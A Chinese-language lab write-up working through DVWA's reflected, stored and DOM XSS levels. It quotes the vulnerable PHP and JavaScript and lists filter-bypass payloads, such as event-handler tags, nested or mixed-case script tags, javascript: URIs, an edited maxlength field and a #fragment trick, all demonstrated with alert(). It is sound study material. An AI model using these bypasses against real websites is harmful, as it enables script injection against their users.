DVWA - XSS

反射型 XSS

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

我们可以看到,这里对读入的值没有进行任何的过滤,所以直接注入我们的 js 脚本就行了:

1
<script>alert(1)</script>

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

?>

这段源代码的核心就在于:

1
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

这一行代码把我们读入的 <script> 串给过滤掉了(换成了空字符串),所以我们可以用一个不需要 <script> 标签的注入方式,这里有一个办法就是通过 img 标签甩出一个报错来注入恶意代码:

1
<img src=x onerror=alert(1)>

还可以通过 <svg> 标签:

1
<svg onload=alert(1)>

除了上面说的,还有一种更简单的方式,由于过滤用的 PHP 代码对字符串大小写是严格匹配,也就是说 <script> 就只能匹配 <script>,但是 HTML 则是对大小写不敏感,我们换成 <Script> 就没啥问题了。

还有一种方法,因为过滤只进行了一次,我们就可以通过拼接,把 <scrip> 换成 <scr<script>ipt>,这样对于 HTML 来说一切正常。

除开对 HTML 和 PHP 的特性进行利用,我们还可以利用 js 的特性,这里用 JS 协议链接便可以在不使用 <script> 标签的情况下注入代码:

1
<a href="javascript:alert(1)">Click</a>

不过前提是注入处的 HTML 是可执行的。

一些可以使用的绕过方式:

1
2
3
4
5
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<details open ontoggle=alert('XSS')>
<video><source onerror="alert('XSS')">

从上述分析我们可以看出来,其实 XSS 就是在保证我们的恶意代码对后端的 PHP 代码合法的情况下,能够在前端的 HTML 正常的渲染和使用。

其实就像是拼积木一样,用绕过前端和后端的各种方式拼接在一起构成一个恶意代码字符串,感觉很有意思。

这里还有一点让我很困惑,就是为什么源代码里只过滤掉了 <script> 但是最后 </script> 也没了?

这里不是因为把 </script> 也过滤掉了,而是这个标签单独出现本身就不合法,被修正掉了,所以才不显示。

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

?>

跟 medium 难度比,high 难度的源代码把对 <script> 标签的过滤器从简单的字符串匹配换成了正则表达式,这段正则表达式的含义为:

  • /:开始正则
  • <:匹配 < 字符
  • (.*)s(.*)c(.*)r(.*)i(.*)p(.*)t:模糊匹配中间可以有任意字符
  • /i:大小写不敏感

下面这些内容都会被过滤掉:

  • <script>
  • <ScRiPt>
  • <sCr123ipt>
  • <s---c+++r##i^^^p==t>
  • <sxcyzritipt>

所以我们上面提到的改变大小写和拼接都失效了,但是利用标签和 JS 事件还是可以绕过的。

所以这种过滤方式只能过滤掉通过 <script> 做文章的 XSS,我们只需要跳出这个范围就可以绕过了。

下面这些都可以绕过:

1
2
3
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>

这个也是不行的:

1
<iframe src="javascript:alert(1)">

因为出现了 script 字串,这就是这种过滤方式的一个好处也是坏处,可以误杀掉很多不在 <script> 里的 script 子串。

这个过滤器具备一定的学习意义,但是在实际应用中糟糕的很,因为容易被绕过并且误杀率高。

Impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这个已经不可能绕过了(如果只考虑这一段代码的话),因为 htmlspecialchars( $_GET[ 'name' ] ); 这一段已经把我们的输入完全变成了文本,失去了可执行的可能性。

存储型 XSS

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

这个比较简单,毕竟是 low 难度,没有任何的过滤,我们只需要在 Name 字段或者 Message 字段里注入就可以了,因为这里 Name 字段限长 10 个字符,我们就选择在 Message 字段里注入,这样随便给 Name 字段一个合法的字符串就可以了。

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

跟反射型那边一样啊,匹配过滤掉 <script> 标签,绕过方式也一样,其实本来反射型 XSS 就和存储型 XSS 的 payload 构造方式就大同小异,不太一样的注入方式,但是注入内容和构造思想基本是一样的。

不过这里对 Message 字段进行了 HTML 转义,所以这个字段就无法利用了,我们需要去考虑 Name 字段,但是我们刚才也发现了,Name 字段有长度限制,但是我们发现这个长度限制是写在前端的:

1
<input name="txtName" type="text" size="30" maxlength="10">

并且里面的参数可以修改,没有后端的验证,所以我们把 maxlength 改一下就可以随意利用 Name 字段进行绕过了。

如果这里有后台验证,那就只能尝试构造长度小于 10 的 XSS payload 了,比如:

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

这里的构造方式和利用方式都跟前面一样,结合一下就行了。

Impossible

其实没啥好看的了,改的地方跟反射型 XSS 那边一样,不过这里的 high 构造的感觉略显粗糙,毕竟只过滤掉一个,虽然现实中还是很有可能出现这种情况的。

还是学到了一些的,比如在前端上的限制可以直接修改来进行绕过,虽然 payload 跟反射型那边都一样,毕竟都是 XSS。

感觉在技巧上的提升跟反射型那边是重合的,但是在思想上(或者说叫方法论上)学到了一些有意思的东西,对整个攻击链的把握和对攻击目标多个环节的了解以及利用,攻击的主要方式是 XSS,但是攻击面上主要的难点或者说绕过的点确实在前端对长度的限制,也就是说发现漏洞之后如何利用其实也是攻击的目标,或者说攻击面里的一部分。

DOM XSS

Low

源码:

1
2
3
4
5
<?php

# No protections, anything goes

?>

源代码约等于没有,DOM XSS 直接在 URL 里利用,我们先点开下拉菜单随便选一个选项,看一看 URL 里的变化,找一下变量名:

1
/dvwa/vulnerabilities/xss_d/?default=English

我们就可以看到变量是 default,把变量值改成 payload 就行了:

1
/dvwa/vulnerabilities/xss_d/?default=<script>alert(1)</script>

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

由于 stripos() 函数不区分大小写,所以这里相当于检测 /<script/i,不过跟之前一样,我们有很多不用 <script> 标签的注入方式。

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

之前我们遇到的后端代码都是黑名单,这次是一个白名单,基本就砍死了我们绕过后端的路子,那接下来就只能在前端上做文章了。

我们先去调试工具里看一下前端代码,找一下我们注入位置的前端代码,然后我们发现了一个 <script> 标签,点开,里面的内容是:

1
2
3
4
5
6
7
8
9
10
11

if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

折腾了一会没折腾出来,看了一下 help,给了一个的简单的思路:

  • 既然后端有白名单过滤,那么我们就不把恶意代码注入到后端里。

换句话说,只要值停留在前端而不被发送到后端就行了,用 #fragment 就可以,# 后面的值都不发送到后端,最终的 payload 就是:

1
/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

Impossible

源码:

1
2
3
4
5
<?php

# Don't need to do anything, protection handled on the client side

?>

大道至简啊,在客户端解决吗?

1
2
3
4
5
6
7
8
9
10
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

这里其实就是把 decodeURI(lang) 给去掉了,这样我们在 URL 里输入的内容在传输过程会默认被浏览器给编码,然后在前端代码里如果不解码的话,编码之后的内容是无法作为一个正常的代码运行的,毕竟 <> 啥的都被编码掉了。